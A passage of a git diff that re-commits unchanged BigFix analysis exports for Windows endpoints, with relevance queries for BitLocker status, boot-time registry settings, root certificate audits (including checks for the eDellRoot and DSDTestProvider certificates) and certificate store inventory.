+<P><A href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/aa376483(v=vs.85).aspx</A></P>
+<P><A href="http://msdn.microsoft.com/en-us/library/aa376433(v=VS.85).aspx">http://msdn.microsoft.com/en-us/library/aa376433(v=VS.85).aspx</A></P>
+<P><A href="http://www.normanbauer.com/2010/09/28/how-to-get-some-information-on-bitlocker-using-vbscript-and-wmi/">http://www.normanbauer.com/2010/09/28/how-to-get-some-information-on-bitlocker-using-vbscript-and-wmi/</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 12 Dec 2014 15:10:49 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="MicrosoftVolumeEncryption available?" EvaluationPeriod="PT12H">(exists WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="2" Name="# of Bitlocker available disks?" EvaluationPeriod="PT12H">number of select objects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="3" Name="OS Should Support BitLocker?" EvaluationPeriod="PT12H">(windows of operating system) AND (version of operating system &gt;= &quot;6.0&quot;) AND (( exists product info string whose(it ends with &quot;Enterprise&quot; OR it ends with &quot;Ultimate&quot; OR it ends with &quot;Server Datacenter&quot;) of operating system ) OR ( (version of operating system &gt;= &quot;6.2&quot;) AND (exists product info string whose(it ends with &quot;Business&quot;) of operating system) ))</Property>
+    <Property ID="4" Name="* from win32_EncryptableVolume" EvaluationPeriod="PT12H">selects (&quot;* from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="5" Name="# of encrypted volumes?" EvaluationPeriod="PT12H">number of integer values whose(it = 1) of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+    <Property ID="6" Name="ProtectionStatus" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;ProtectionStatus from win32_EncryptableVolume&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Protection Off, Protection On, Protection Unknown&quot;</Property>
+    <Property ID="7" Name="EncryptionMethod" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;EncryptionMethod&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;N/A, AES 128 With Diffuser, AES 256 With Diffuser, AES 128, AES 256&quot;</Property>
+    <Property ID="8" Name="ConversionStatus" EvaluationPeriod="PT12H">tuple string items (integer values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;ConversionStatus&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;) of &quot;Fully Decrypted, Fully Encrypted, Encryption In Progress, Decryption In Progress, Encryption Paused, Decryption Paused&quot;</Property>
+    <Property ID="9" Name="VolumeType" EvaluationPeriod="PT12H">(selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;VolumeType&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="10" Name="IsVolumeInitializedForProtection" EvaluationPeriod="PT12H">(string values of selects (&quot;* from win32_EncryptableVolume&quot;) whose(name of it = &quot;IsVolumeInitializedForProtection&quot;) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;)</Property>
+    <Property ID="11" Name="Incorrect Values" EvaluationPeriod="PT12H">selects (&quot;* from win32_EncryptableVolume&quot;) whose( (integer value of it &lt; 0) AND (name of it != &quot;IsVolumeInitializedForProtection&quot;) ) of WMIs &quot;root\CIMv2\Security\MicrosoftVolumeEncryption&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes b/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes
index c19a98dbd..2e7a56910 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Boot Up Analysis - Windows (2994790).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Boot Up Analysis - Windows
-  ID       : 2994790
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T10:54:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Boot Up Analysis - Windows</Title>
-    <Description><![CDATA[<P>The idea is to include any properties that effect windows boot up time in one place. Many of these properties are applicable to Windows Vista, but this was only tested on Windows 7 &amp; 8. Please suggest additions to the this analysis, it could use some expansion. </P>
-<P><A href="http://www.msfn.org/board/topic/152622-hotfixes-for-faster-windows-7-bootstartup/">http://www.msfn.org/board/topic/152622-hotfixes-for-faster-windows-7-bootstartup/</A></P>
-<P><A href="http://www.msfn.org/board/topic/140262-how-to-speed-up-boot-process-under-windows-vista-or-windows-7/">http://www.msfn.org/board/topic/140262-how-to-speed-up-boot-process-under-windows-vista-or-windows-7/</A></P>
-<P>For best performance, "Size of RdyBoostBootPlan" should be less than 524288.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(it = &quot;Win8&quot; OR it = &quot;Win7&quot; OR it = &quot;WinVista&quot;) of name of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 17:54:07 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Size of RdyBoostBootPlan" EvaluationPeriod="PT12H">unique values of sizes of values &quot;BootPlan&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rdyboost\Parameters&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="2" Name="EnablePrefetcher" EvaluationPeriod="PT12H">values &quot;EnablePrefetcher&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="3" Name="EnableSuperfetch" EvaluationPeriod="PT12H">values &quot;EnableSuperfetch&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&quot; of (x64 registries; x32 registries)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Boot Up Analysis - Windows
+  ID       : 2994790
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T10:54:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Boot Up Analysis - Windows</Title>
+    <Description><![CDATA[<P>The idea is to include any properties that effect windows boot up time in one place. Many of these properties are applicable to Windows Vista, but this was only tested on Windows 7 &amp; 8. Please suggest additions to the this analysis, it could use some expansion. </P>
+<P><A href="http://www.msfn.org/board/topic/152622-hotfixes-for-faster-windows-7-bootstartup/">http://www.msfn.org/board/topic/152622-hotfixes-for-faster-windows-7-bootstartup/</A></P>
+<P><A href="http://www.msfn.org/board/topic/140262-how-to-speed-up-boot-process-under-windows-vista-or-windows-7/">http://www.msfn.org/board/topic/140262-how-to-speed-up-boot-process-under-windows-vista-or-windows-7/</A></P>
+<P>For best performance, "Size of RdyBoostBootPlan" should be less than 524288.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(it = &quot;Win8&quot; OR it = &quot;Win7&quot; OR it = &quot;WinVista&quot;) of name of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 17:54:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Size of RdyBoostBootPlan" EvaluationPeriod="PT12H">unique values of sizes of values &quot;BootPlan&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\rdyboost\Parameters&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="2" Name="EnablePrefetcher" EvaluationPeriod="PT12H">values &quot;EnablePrefetcher&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="3" Name="EnableSuperfetch" EvaluationPeriod="PT12H">values &quot;EnableSuperfetch&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters&quot; of (x64 registries; x32 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes b/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes
index e47fd2e23..8a8c96d9c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Certificate Audit - Windows (2994825).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Certificate Audit - Windows
-  ID       : 2994825
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-11-25T21:15:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Certificate Audit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 26 Nov 2015 04:14:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Root CAs in Windows" EvaluationPeriod="PT12H">( concatenations &quot; ; &quot; of (preceding text of first &quot;%82%01&quot; of it | it) whose(it != &quot;&quot; AND it does not contain &quot;%00%00%00%01%00%00%00&quot;) of (preceding text of first &quot;%82%0f&quot; of it | it) of (preceding text of first &quot;0%82&quot; of it | it) of (preceding text of first &quot;0%81&quot; of it | it) of (preceding text of first &quot;0%1e%17&quot; of it | it) of (preceding text of last &quot;1&quot; of it | it) of (following text of (start of first (first matches (regex &quot;[\u1300-\u13ff]&quot;) of it) of it) | it) whose(exists (first matches (regex &quot;[\u1300-\u13ff]&quot;) of it)) of (preceding text of first &quot;%06%03&quot; of it | it) of substrings separated by &quot;U%04&quot; of it) of it whose(it contains &quot;U%04&quot;) of (hexadecimal string it) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
-    <Property ID="2" Name="eDellRoot?" EvaluationPeriod="PT6H">exists (hexadecimal string it) whose(it contains &quot;eDellRoot&quot;) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
-    <Property ID="3" Name="DSDTestProvider?" EvaluationPeriod="PT6H">exists (hexadecimal string it) whose(it contains &quot;DSDTestProvider&quot;) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Certificate Audit - Windows
+  ID       : 2994825
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-11-25T21:15:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Certificate Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 26 Nov 2015 04:14:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Root CAs in Windows" EvaluationPeriod="PT12H">( concatenations &quot; ; &quot; of (preceding text of first &quot;%82%01&quot; of it | it) whose(it != &quot;&quot; AND it does not contain &quot;%00%00%00%01%00%00%00&quot;) of (preceding text of first &quot;%82%0f&quot; of it | it) of (preceding text of first &quot;0%82&quot; of it | it) of (preceding text of first &quot;0%81&quot; of it | it) of (preceding text of first &quot;0%1e%17&quot; of it | it) of (preceding text of last &quot;1&quot; of it | it) of (following text of (start of first (first matches (regex &quot;[\u1300-\u13ff]&quot;) of it) of it) | it) whose(exists (first matches (regex &quot;[\u1300-\u13ff]&quot;) of it)) of (preceding text of first &quot;%06%03&quot; of it | it) of substrings separated by &quot;U%04&quot; of it) of it whose(it contains &quot;U%04&quot;) of (hexadecimal string it) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
+    <Property ID="2" Name="eDellRoot?" EvaluationPeriod="PT6H">exists (hexadecimal string it) whose(it contains &quot;eDellRoot&quot;) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
+    <Property ID="3" Name="DSDTestProvider?" EvaluationPeriod="PT6H">exists (hexadecimal string it) whose(it contains &quot;DSDTestProvider&quot;) of ( unique values of (it as string) of values &quot;blob&quot; of keys of keys &quot;Certificates&quot; of keys whose(name of it as uppercase contains &quot;CA&quot; OR name of it as uppercase contains &quot;ROOT&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates&quot; of (x64 registries; x32 registries) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes b/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes
index 98e489f87..1f72a73ad 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Certificates - Windows (2998390).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Certificates - Windows
-  ID       : 2998390
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-13T16:48:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Certificates - Windows</Title>
-    <Description><![CDATA[<P>This analysis provides information on the current state of the Windows Certificate Store.</P>
-<P>This analysis relies on <STRONG>Fixlet</STRONG>: <STRONG>Invoke - Certificate Store Probe - Windows</STRONG> in the C3-Inventory site</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store">https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists value &quot;Last Updated Date&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store&quot; of native registry</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="7" Name="Certificates - Trusted Third-Party Root Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\AuthRoot&quot; of native registry</Property>
-    <Property ID="8" Name="Certificates - Trusted Intermediate Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\CA&quot; of native registry</Property>
-    <Property ID="9" Name="Certificates - Trusted Root Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Root&quot; of native registry</Property>
-    <Property ID="10" Name="Certificates - Trusted Publishers - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\TrustedPublisher&quot; of native registry</Property>
-    <Property ID="11" Name="Certificates - Trusted Roots with Private Key - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys whose (value &quot;Private Key&quot; of it as string as boolean = true) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Root&quot; of native registry</Property>
-    <Property ID="12" Name="Certificates - Remote Desktop - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Remote Desktop&quot; of native registry</Property>
-    <Property ID="13" Name="Certificates - Trusted Code Signers - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys whose (value &quot;Usage&quot; of it as string contains &quot;Code Signing&quot;) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine&quot; of native registry</Property>
-    <Property ID="14" Name="Certificates - My Certificates - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not Before&quot; of it, value &quot;Not After&quot; of it) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
-    <Property ID="15" Name="Certificates - Last Probe - Windows" EvaluationPeriod="PT6H">(value &quot;Last Updated Date&quot; of it as string as date &amp; (value &quot;Last Updated Time&quot; of it as string as time_of_day &amp; local time zone)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store&quot; of native registry</Property>
-    <Property ID="16" Name="Certificates - My Certificates Expiring in 30 Days - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 30 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
-    <Property ID="17" Name="Certificates - My Certificates Expiring in 7 Days - Windows" EvaluationPeriod="PT12H">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 7 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
-    <Property ID="18" Name="Certificates - My Certificates Expiring in 1 Day - Windows" EvaluationPeriod="PT15M">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 1 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
-    <Property ID="19" Name="Certificates - My Expired Certificates - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &lt; 0 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Certificates - Windows
+  ID       : 2998390
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-13T16:48:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Certificates - Windows</Title>
+    <Description><![CDATA[<P>This analysis provides information on the current state of the Windows Certificate Store.</P>
+<P>This analysis relies on <STRONG>Fixlet</STRONG>: <STRONG>Invoke - Certificate Store Probe - Windows</STRONG> in the C3-Inventory site</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store">https://github.com/strawgate/C3-Inventory/wiki/Certificate-Store</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists value &quot;Last Updated Date&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store&quot; of native registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="7" Name="Certificates - Trusted Third-Party Root Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\AuthRoot&quot; of native registry</Property>
+    <Property ID="8" Name="Certificates - Trusted Intermediate Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\CA&quot; of native registry</Property>
+    <Property ID="9" Name="Certificates - Trusted Root Authorities - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Root&quot; of native registry</Property>
+    <Property ID="10" Name="Certificates - Trusted Publishers - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\TrustedPublisher&quot; of native registry</Property>
+    <Property ID="11" Name="Certificates - Trusted Roots with Private Key - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys whose (value &quot;Private Key&quot; of it as string as boolean = true) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Root&quot; of native registry</Property>
+    <Property ID="12" Name="Certificates - Remote Desktop - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\Remote Desktop&quot; of native registry</Property>
+    <Property ID="13" Name="Certificates - Trusted Code Signers - Windows" EvaluationPeriod="P1D">values &quot;subject&quot; of keys whose (value &quot;Usage&quot; of it as string contains &quot;Code Signing&quot;) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine&quot; of native registry</Property>
+    <Property ID="14" Name="Certificates - My Certificates - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not Before&quot; of it, value &quot;Not After&quot; of it) of keys of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="15" Name="Certificates - Last Probe - Windows" EvaluationPeriod="PT6H">(value &quot;Last Updated Date&quot; of it as string as date &amp; (value &quot;Last Updated Time&quot; of it as string as time_of_day &amp; local time zone)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store&quot; of native registry</Property>
+    <Property ID="16" Name="Certificates - My Certificates Expiring in 30 Days - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 30 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="17" Name="Certificates - My Certificates Expiring in 7 Days - Windows" EvaluationPeriod="PT12H">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 7 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="18" Name="Certificates - My Certificates Expiring in 1 Day - Windows" EvaluationPeriod="PT15M">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &gt; 0 * day and it &lt; 1 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+    <Property ID="19" Name="Certificates - My Expired Certificates - Windows" EvaluationPeriod="P1D">(values &quot;subject&quot; of it, value &quot;Not After&quot; of it) of keys whose ((it &lt; 0 * day) of (value &quot;Not After Date&quot; of it as string as date &amp; (value &quot;Not After Time&quot; of it as string as time_of_day &amp; local time zone) - now)) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Certificate Store\LocalMachine\My&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes b/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes
index ca1c0c734..da121dec4 100644
--- a/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/ChkDsk Audit - Windows (2994739).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : ChkDsk Audit - Windows
-  ID       : 2994739
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-10-14T13:49:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>ChkDsk Audit - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://ask-leo.com/how_do_i_see_the_results_of_a_chkdsk_that_ran_on_boot.html">http://ask-leo.com/how_do_i_see_the_results_of_a_chkdsk_that_ran_on_boot.html</A></P>
-<P><A href="http://www.sevenforums.com/tutorials/96938-check-disk-chkdsk-read-event-viewer-log.html">http://www.sevenforums.com/tutorials/96938-check-disk-chkdsk-read-event-viewer-log.html</A></P>
-<P><A href="http://kmwoley.com/blog/?p=441">http://kmwoley.com/blog/?p=441</A></P>
-<P><A href="http://superuser.com/questions/214209/where-are-the-results-of-chkdsk-located-in-windows-7">http://superuser.com/questions/214209/where-are-the-results-of-chkdsk-located-in-windows-7</A></P>
-<P><A href="http://ericphelps.com/uncheck/index.htm">http://ericphelps.com/uncheck/index.htm</A></P>
-<P><A href="https://www.raymond.cc/blog/how-to-recover-chk-files-created-by-chkdsk-and-scandisk/">https://www.raymond.cc/blog/how-to-recover-chk-files-created-by-chkdsk-and-scandisk/</A></P>
-<P>&nbsp;</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
